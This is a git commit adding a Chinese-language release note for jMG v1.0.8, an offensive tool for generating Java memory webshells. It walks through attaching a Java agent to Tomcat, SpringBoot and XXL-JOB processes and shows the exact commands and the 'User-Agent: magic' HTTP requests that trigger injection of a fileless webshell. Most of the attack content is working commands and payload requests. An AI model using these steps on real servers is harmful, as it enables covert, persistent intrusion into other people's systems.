迁移文档到 repo

This commit is contained in:
pen4uin
2024-07-20 15:12:10 +08:00
parent 6e667fb9ac
commit 65d4ca65ba
62 changed files with 652 additions and 0 deletions
+146
View File
@@ -0,0 +1,146 @@
---
title: jMG v1.0.8 - Java Agent 篇
author: pen4uin
date: 2024-04-12
---
# jMG v1.0.8 - Java Agent 篇
鸽了半年的功能 —— 跨 JVM 进程注入内存马。
https://github.com/pen4uin/java-memshell-generator/issues/4
## 0x01 简介
新增对 Tomcat 和 SpringBoot(SpringMVC) Agent 注入内存马的支持,并分别在 Tomcat 8 + JDK 8、SpringBoot 2 + JRE 8、XXL-JOB 2.1.0 完成测试。
## 0x02 功能测试
### Tomcat 8 + JDK 8
0、测试环境
- Tomcat 8.5
- JDK 8
1、选择 Tomcat + JAR_AGENT
![](./img/1713209159695.png)
2、将 agent 传到目标服务器上执行
```shell
# list pid
java -jar jmg-agent.jar
# attach pid
java -jar jmg-agent.jar [pid]
```
![](./img/1713209182608.png)
3、注入内存马
- 携带 User-Agent: magic 触发内存马注入逻辑
```http
GET / HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: image/avif,image/webp,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
```
4、按照基础信息进行连接
![](./img/1713209211285.png)
### SpringBoot 2 + JRE 8
0、测试环境
- SpringBoot 2.5.3 + Embedded Jetty
- JRE 8
1、选择 SpringMVC + JAR_AGENT
![](./img/1713209265218.png)
2、将生成的 agent 传到目标服务器上执行
纯 jre 环境无 tools.jarjmg-agent 会自动释放内置 tools.jar 到临时目录
![](./img/1713209278067.png)
3、注入内存马
- 携带 User-Agent: magic 触发内存马注入逻辑
```http
GET / HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: image/avif,image/webp,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
```
4、按照基础信息进行连接
![](./img/1713209302039.png)
### XXL-JOB (executor -> admin)
0、测试环境
- XXL-JOB 2.1.0
- JDK 8
- Executor 与 Admin 在同一台服务器上
1、选择Tomcat + JAR_AGENT
![](./img/1713209319058.png)
2、将 agent 写到目标服务器上执行
(1) 新增任务列 pid
![](./img/1713209337767.png)
(2) 调度日志看结果
```text
[*] Found pid 76495 ——> [com.xxl.job.admin.XxlJobAdminApplication]
[*] Found pid 76592 ——> [com.xxl.job.executor.XxlJobExecutorApplication]
```
(3) 选择 admin pid 进行 attach
![](./img/1713209372043.png)
(4) attach 成功
![](./img/1713209382797.png)
3、注入内存马
- 携带 User-Agent: magic 触发内存马注入逻辑
```http
GET /xxl-job-admin/toLogin HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: Mozilla/5.0 (Macintosh; magic Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
```
4、按照基础信息进行连接
![](./img/1713209425091.png)
## 0x03 小结
测试环境属于较理想环境,实战可能会遇到各种坑点,若有问题反馈与讨论请附上环境信息+报错日志。